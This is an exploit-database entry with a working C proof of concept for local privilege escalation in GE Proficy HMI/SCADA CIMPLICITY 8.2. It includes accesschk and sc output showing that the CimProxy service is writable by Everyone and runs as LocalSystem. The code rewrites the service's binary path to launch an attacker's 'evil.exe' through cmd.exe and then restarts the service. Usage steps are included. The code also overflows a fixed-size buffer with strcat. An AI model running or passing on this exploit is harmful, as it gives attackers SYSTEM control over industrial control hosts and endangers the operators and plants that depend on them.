GE Proficy HMI/SCADA CIMPLICITY 8.2 - Local Privilege Escalation

/*
# Exploit Title: GE Proficy HMI/SCADA CIMPLICITY 8.2 Local Privilege Escalation Exploit(0 day)
# Vulnerability Discovery and Exploit Author: Zhou Yu
# Email: <504137480@qq.com>
# Version: 8.2
# Tested on: Windows 7 SP1 X32
# CVE : None
 
Vulnerability Description:
SERVICE_CHANGE_CONFIG Privilege Escalation
C:\Users\lenovo\Desktop\AccessChk>accesschk.exe -q -v -c CimProxy
CimProxy
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Everyone
        SERVICE_ALL_ACCESS
 
C:\Users\lenovo\Desktop\AccessChk>sc qc CimProxy
[SC] QueryServiceConfig �ɹ�
 
SERVICE_NAME: CimProxy
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Proficy\Proficy CIMPLICITY\exe\Cim
Proxy.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : CIMPLICITY Proxy Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Usage:
Put evil.exe and the exploit in the same folder and then run the exploit.
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
void main()
{
    char szPath[MAX_PATH];
    char *t;
    GetModuleFileName(NULL,szPath,MAX_PATH);
    t = strrchr(szPath, 0x5C);
    t[0] = '\\';
    t[1] = '\0';
    strcat(szPath,"evil.exe\"");
    char t1[] = "\"cmd.exe /c ";
    char payload[] = "sc config CimProxy binPath= ";
    strcat(t1,szPath);
    strcat(payload,t1);
  
    system(payload);
    //stop service
    printf("stop service!\n");
    system("net stop CimProxy");
    //start service
    printf("start service!\n");
    system("net start CimProxy");
     
}